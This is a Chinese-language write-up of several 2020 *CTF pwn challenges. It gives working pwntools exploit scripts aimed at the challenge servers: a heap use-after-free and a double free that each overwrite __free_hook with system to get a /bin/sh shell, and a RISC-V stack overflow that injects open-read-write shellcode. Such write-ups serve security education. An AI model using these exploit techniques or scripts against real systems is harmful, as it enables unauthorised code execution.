2020 *ctf 部分pwn writeup

2021-02-19 安全客
感謝xmzyshypnc 師傅和xxrw師傅手把手教學。
漏洞是一個UAF漏洞,程序實現了6個程序,add,delete,edit,show,leave_name,show_name,其中add函數限制了申請堆塊的大小,delete函數中存在UAF漏洞,leave_name函數中申請了一個0x400大小的堆塊。因此這裡首先申請4個0x20,fastbin,接著leave_name函數申請一個較大的堆塊,使得fastbin堆塊合併成0x80大小的small bin,這樣就能洩漏出libc基址,由於edit的起始位置是+8開始的,因此再次申請的堆塊大小需要覆蓋三個fastbin,因此申請一個0x60大小的堆塊。這樣就可以滿足覆寫fd指針為free_hook-8和/bin/sh字符串兩個要求。

from pwn import *
file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('52.152.231.198', 8081) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0

def add(index, size): p.sendlineafter(">> \n", "1") p.sendlineafter("input index\n", str(index)) p.sendlineafter("input size\n", str(size))

def delete(index): p.sendlineafter(">> \n", "2") p.sendlineafter("input index\n", str(index))

def edit(index, content): p.sendlineafter(">> \n", "3") p.sendlineafter("input index\n", str(index)) p.sendafter("input content\n", content)

def show(index): p.sendlineafter(">> \n", "4") p.sendlineafter("input index\n", str(index))

def leave_name(name): p.sendlineafter(">> \n", "5") p.sendafter("your name:\n", name)

def show_name(): p.sendlineafter(">> \n", "6")

for i in range(11): add(i, 0x18)for i in range(7): delete(i + 4)
delete(0)delete(1)delete(2)delete(3)leave_name("1212")show(0)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 0xd0 - 0x10 - libc.sym['__malloc_hook']
for i in range(7): add(i + 4, 0x18)

log.success("libc address is {}".format(hex(libc.address)))
add(11, 0x60)delete(1)payload = b"a"*0x10 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x8)payload += b"b"*0x10 + p64(0x21) + b"/bin/sh\x00"edit(11, payload)add(12, 0x50)add(13, 0x50)edit(13, p64(libc.sym['system']))delete(2)
p.interactive()

Favourite Architecture flag1

riscv棧溢出的漏洞,但是ghidra反編譯失敗,不知道咋回事。漏洞存在於輸入flag的地方。

00010436 b7 e7 04 00     lui        a5=>DAT_0004e000,0x4e               = FFh0001043a 13 85 07 89     addi       a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: "0001043e ef 50 d0 41     jal        ra,FUN_0001605a    //output()00010442 93 07 84 ed     addi       a5,s0,-0x128   //<< input_falg str 00010446 3e 85           c.mv       a0,a500010448 ef 60 20 61     jal        ra,read             //read()0001044c 93 07 84 ed     addi       a5,s0,-0x12800010450 3e 85           c.mv       a0,a500010452 ef 00 21 09     jal        ra,strlen           //strlen()00010456 aa 86           c.mv       a3,a000010458 03 a7 01 86     lw         a4,-0x7a0(gp)0001045c 83 a7 41 86     lw         a5,-0x79c(gp)00010460 b9 9f           c.addw     a5,a400010462 81 27           c.addiw    a5,0x000010464 82 17           c.slli     a5,0x2000010466 81 93           c.srli     a5,0x2000010468 63 94 f6 10     bne        a3,a5,LAB_00010570  //不等於0x59就跳轉//...LAB_00010570                                    XREF[1]:     00010468(j)  00010570 01 00           c.nop00010572 21 a0           c.j        LAB_0001057a//...LAB_0001057a                                    XREF[2]:     00010572(j), 00010576(j)  0001057a b7 e7 04 00     lui        a5=>DAT_0004e000,0x4e                            = FFh0001057e 13 85 87 8f     addi       a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70= "You are wrong ._."00010582 ef 60 60 64     jal        ra,FUN_00016bc8              //output()00010586 85 47           c.li       a5,0x1LAB_00010588                                    XREF[1]:     0001056e(j)  00010588 3e 85           c.mv       a0,a50001058a fe 70           c.ldsp     ra,0x1f8(sp)0001058c 5e 74           c.ldsp     s0,0x1f0(sp)0001058e 13 01 01 20     addi       sp,sp,0x20000010592 82 80           ret

從第一層的邏輯看來,首先是read了一個很長的字符串(注意到這裡的函數不一定是read,功能類似)。但是分配的長度才是0x128位元組大小,因此這裡可以溢出。並且如果我們輸入的長度不為0x59那麼直接會跳轉到錯誤輸出的位置之後結束進程,在結束進程的時候讀取了sp+0x1f8的位置的值作為返回地址,因此我們可以直接溢出到返回地址。那麼接下來就是如何利用的問題。

diff --git a/linux-user/syscall.c b/linux-user/syscall.cindex 27adee9..2d75464 100644@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1,         print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6);     }
- ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,- arg5, arg6, arg7, arg8);+ switch (num) {+ // syscall whitelist+ case TARGET_NR_brk:+ case TARGET_NR_uname:+ case TARGET_NR_readlinkat:+ case TARGET_NR_faccessat:+ case TARGET_NR_openat2:+ case TARGET_NR_openat:+ case TARGET_NR_read:+ case TARGET_NR_readv:+ case TARGET_NR_write:+ case TARGET_NR_writev:+ case TARGET_NR_mmap:+ case TARGET_NR_munmap:+ case TARGET_NR_exit:+ case TARGET_NR_exit_group:+ case TARGET_NR_mprotect:+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,+ arg5, arg6, arg7, arg8);+ break;+ default:+ printf("[!] %d bad system call\n", num);+ ret = -1;+ break;+ }
if (unlikely(qemu_loglevel_mask(LOG_STRACE))) { print_syscall_ret(cpu_env, num, ret, arg1, arg2,

我們看到其只允許調用特定的系統調用,也就是我們只能編寫orw shellcode,而程序沒有開啟pie,也就是棧地址固定不變(需要注意的是本地棧地址和遠程不一樣,因此需要添加滑板指令)。shellcode的編寫參考網上的shellcode

.section .text.globl _start.option rvc_start:    li a1,0x67616c66 #flag    sd a1,4(sp)    addi a1,sp,4    li a0,-100    li a2,0    li a7, 56 # __NR_openat    ecall    c.mv a2,a7    addi a7,a7,7    ecall    li a0, 1    addi a7,a7,1    ecall

10078:    676175b7              lui    a1,0x676171007c:    c665859b              addiw    a1,a1,-92210080:    00b13223              sd    a1,4(sp)10084:    004c                  addi    a1,sp,410086:    f9c00513              li    a0,-1001008a:    4601                  li    a2,01008c:    03800893              li    a7,5610090:    00000073              ecall10094:    8646                  mv    a2,a710096:    089d                  addi    a7,a7,710098:    00000073              ecall1009c:    4505                  li    a0,11009e:    0885                  addi    a7,a7,1100a0:    00000073              ecall

from pwn import *
file_path = "./main"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process(["./qemu-riscv64", "-g", "1234", file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('119.28.89.167', 60001)

stack = 0x4000800c70nop = p32(0x00000013)

p.recvuntil("Input the flag: ")payload = b"a"*0x118payload += p64(stack)*2
shellcode = nop * 0xd0shellcode += p32(0x676175b7) + p32(0xc665859b) + p32(0x00b13223)shellcode += p16(0x004c) + p32(0xf9c00513) + p16(0x4601)shellcode += p32(0x03800893) + p32(0x00000073) + p16(0x8646)shellcode += p16(0x089d) + p32(0x00000073) + p16(0x4505) + p16(0x0885) + p32(0x00000073)
payload += shellcode
p.sendline(payload)
p.interactive()

程序實現了一個類似於迷宮的操作,提供了如下的幾種功能

h     SokobanHow to Play:    Push all boxs into target placeMap:    1)█:wall    2)○:Target    3)□:Box    4)♀:Player    5)●:Box on targetCommand:    1)h: show this message    2)q: quit the game    3)w: move up    4)s: move down    5)a: move left    6)d: move right    7)b: move back    8)m: leave message    k)n: show name    10)l: show message

目前逆向出的game結構體如下,其中map另有結構體存儲。

00000000 game            struc ; (sizeof=0x50, mappedto_7)00000000 map_vector_start dq ?00000008 current_vector  dq ?00000010 vector_end      dq ?00000018 start_time      dq ?00000020 end_time        dq ?00000028 cost_time       dq ?00000030 level           dd ?00000034 unknown         dd ?00000038 step_forward    db ?00000039 is_quit         db ?0000003A                 db ? ; undefined0000003B                 db ? ; undefined0000003C                 db ? ; undefined0000003D                 db ? ; undefined0000003E                 db ? ; undefined0000003F                 db ? ; undefined00000040 map             dq ?00000048 message         dq ?00000050 game            ends

__int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>){  __int64 v4;   char v6; 
v6 = 1; while ( v6 ) { game_func(a4); v4 = std::operator<<<std::char_traits<char>>(&std::cout, "restart?"); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); if ( (unsigned __int8)get_input_filter(v4, &std::endl<char,std::char_traits<char>>) != 121 ) v6 = 0; } return 0LL;}
unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>){ unsigned __int64 result; char v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); init_game((game *)&v2, 0); game_start((game *)&v2, 0LL, a1); result = leave_name((__int64)&v2); __readfsqword(0x28u); return result;}
void __usercall game_start(game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>){ char num; game *a1a;
a1a = a1; sub_FE91(); a1->step_forward = 1; a1->level = -1; while ( !a1a->is_quit ) { while ( a1a->level == -1 && !a1a->is_quit ) { num = get_input((__int64)a1, (void *)a2); a2 = (unsigned int)num; a1 = a1a; detec_error_quit(a1a, num); } if ( a1a->is_quit ) break; get_map(a1a); handle_step(a1a, a3); a1 = a1a; put_map_vector(a1a); } sub_FE98();}
unsigned __int64 __fastcall leave_name(game *a1){ __int64 v1; __int64 v2; game *v4; __int64 name; unsigned __int64 v6;
v4 = a1; v6 = __readfsqword(0x28u); v1 = std::operator<<<std::char_traits<char>>(&std::cout, "leave your name?"); std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); if ( (unsigned __int8)get_input_filter(v1, &std::endl<char,std::char_traits<char>>) == 'y' ) { v2 = std::operator<<<std::char_traits<char>>(&std::cout, "your name:"); std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name); std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name); put_name_to_vector((game *)&::a1, (__int64)&name); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name, &name); } clear_map_vector(v4); operator delete((void *)v4->message); sub_C026(v4); return __readfsqword(0x28u) ^ v6;}

程序存在兩個漏洞,一個是算是message髒數據。首先在init_game函數中為game->message分配空間的時候並沒有清空內存中的數據,而message的堆塊大小為0x510,也就是說釋放之後重新申請即可以洩漏得到libc基址。程序恰好存在restart的情況,因此我們可以據此洩漏得到libc基址。

send_level("q")send_order("n")send_order("y")send_level("l")p.recvuntil("message:")libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']log.success("libc address is {}".format(hex(libc.address)))

另一個就是map+0xe0處保存指針的double free漏洞。該處的漏洞是在調試中發現的,在update level之後會退出會出現一個double free的漏洞,堆塊的大小是0x60。那麼接下來就是double free如何利用的問題了。我們能夠進行任意堆塊分配的就是message了。但是程序中採用的是cin進行讀取的,不能覆蓋到0x60的堆塊。但是我們看到在讀取得到message之後會將其put vector。在該函數中會按照我們輸入的message的長度進行堆塊申請

if ( current_vector_c )  current_vector_c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(    current_vector_c,    name_c);

這裡就達到了我們任意申請堆塊的目的。下面就是正常的double free的操作了。這裡注意的是put_name_vector函數調用結束之後就是name的析構函數。

put_name_to_vector((game *)&::a1, (__int64)&name);std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&name,(__int64)&name);

在我們覆寫完畢free_hook之後此處是第一次調用的位置(需要注意name vector的擴展情況),因此我們將name的起始八個字節改為/bin/sh,覆寫的fd指針自然變為free_hook-0x8。

from pwn import *
file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('52.152.231.198', 8082) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0

def send_order(order): p.sendlineafter("Please input an order:\n", order)

def send_level(level): p.sendlineafter("Please input an level from 1-9:\n", level)

def leave_name(name): p.sendlineafter("your name:", name)

send_level("q")send_order("n")send_order("y")send_level("l")p.recvuntil("message:")libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']log.success("libc address is {}".format(hex(libc.address)))
send_level("1")send_order("2")send_order("q")send_order("n")leave_name(b"a"*0x70) send_order("y")
send_level("1")send_order("q")send_order("y")leave_name(p64(libc.sym['__free_hook']- 0x8).ljust(0x50, b"\x00")) send_order("y")
send_level("1")send_order("q")send_order("y")leave_name(b"a"*0x50) send_order("y")
send_level("1")send_order("q")send_order("y")leave_name((b"/bin/sh\x00" + p64(libc.sym['system'])).ljust(0x50, b"\x00"))
p.interactive()

相關焦點

  • 安洵杯2020 官方Writeup(Pwn)
    程序開了沙箱, 只能採用open, read, write來列印flag或者利用lgx::http::send_file函數來獲取flag。-server-mannage/pwn_chall/test/lgx-data-platform)└> .
  • TISC 2020 CTF 題目分析及writeups
    、二進位、逆向等知識點,部分題目之間具備一定的連續性,下面對題目進行具體分析。(1, "\33[2J\33[H", 7) = 7write(1, "\33[1;31m", 7) = 7write(1, "Thread does not exist!
  • CTF從入門到提升(三)
    類型:Web,密碼學,pwn 程序的邏輯分析,漏洞利用windows
  • 通過一道簡單的例題了解Linux內核PWN
    這題是參考ctf-wiki上的內核例題,題目名稱CISCN2017_babydriver,是一道簡單的內核入門題,所牽涉的知識點並不多。題目附件可以在ctf-wiki的GitHub倉庫找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver。
  • De1CTF Writeup By V&N
    credentialsmsv credentials===============Username Domain NTLM SHA1--- - ---- ----Administrator dc.de1ctf2020
  • QWB WriteUp
    https://code.felinae98.cn/ctf/crypto/rsa%E5%A4%A7%E7%A4%BC%E5%8C%85%EF%BC%88%E4%BA%8C%EF%BC%89coppersmith-%E7%9B%B8%E5%85%B3/第四層:廣播攻擊第五層:Related Message Attack第六層:Boneh and Durfee
  • RCTF2020 部分Writeup
    高校戰「疫」網絡安全分享賽第49名De1CTF 2020第34名第二屆網鼎杯青龍組線上第90名RCTF
  • Linux pwn從入門到熟練(三)
    /pwn8') write_got = pwn8.got['write']read_got = pwn8.got['read']main_addr = pwn8.symbols['main'] 調用read_got將字符串/bin/sh加載到bss段中csu(0, 1, read_got, 0, bss_base, 16, main_addr)此處部分的棧布置和前述利用write@got洩露write@got差不多。只是callq調用的函數變成了read@got。
  • 2020 藍帽杯線下賽PWN WriteUp
    這裡直接用的天翼杯2020_wp_by_LQers中的shellcode。from pwn import *file_path = "./chall"context.arch = "amd64"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0def pwn(p, index, ch): read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx
  • OGeek線上CTF挑戰賽pwn題詳細Write Up
    ArrayBuffer(0x100);for(var i = 0; i < 20000; i++) { outer.boom(); } outer = new Outer(i2);var leak = outer.boom();return leak;}function u2d(u) {return (new Int64(u)).asDouble();}function pwn
  • HCTF2018 WriteUp
    招新小廣告ChaMd5 ctf組 長期招新尤其是reverse+pwn+合約的大佬歡迎聯繫admin@
  • Google CTF justintime
    方法 3https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-timefetch cd srcbuild/install-build-deps.shgclient runhooksgit fetch git checkout
  • CTF 玩轉 pwn 月度總結
    0x56144ab7e0c0: 0x0000000000000000  0x00000000000001110x56144ab7e0d0: 0x00007f26abbacb78  0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write
  • BUU_PWN刷題(一)
    /pwn1")payload = 'a'*(0xf + 8) + p64(0x40118a)#具體86還是87/8a要看linux版本,太新的話寫86會導致crash,所以題目寫了是Ubuntu18io.sendline(payload)io.recv()io.interactive()0x3.warmup_csaw_2016yutao
  • TCTF/0CTF2018 XSS Writeup
    下面寫一種來自@超威藍貓的解法,非常有趣的思路,payload大概是這樣的https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeupid"><form name=effects id="<script>$.get('/flag',e=>name=e)">
  • 看雪CTF.TSRC 2018 團隊賽 第十四題『 你眼中的世界』 解題思路
    > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。
  • De1CTF2020-WriteUp上(Web、Misc、Pwn)
    >        pwn_exp.py#!/usr/bin/env python2# -*- coding:utf-8 -*-"""    Author : Kirin    Date   : 2020/05/04, 04:31"""import requestsimport sysimport osfrom pwn import *libc_addr
  • 中國杭州·西湖論劍Writeup by Dest0g3
    >/*+/tmp/qqqq.php HTTP/1.1Host: 77484ff0-39f5-4946-8196-355cbe00cfcf.oarce-ctf.dasctf.com:2333Pragma: no-cacheCache-Control: no-cacheAccept: application/json, text/javascript, */*; q=0.01User-Agent:
  • Linux kernel pwn:ROP & ret2usr
    部分內核pwn入門基礎可見我的這一篇博文:https://www.cnblogs.com/T1e9u/p/13743811.html#user-space-to-kernel-space內核pwn應該怎麼pwn與用戶態的
  • RCTF 2020 Writeup
    import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256#context.log_level = "debug"#table='zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'sh=remote("124.156.140.90","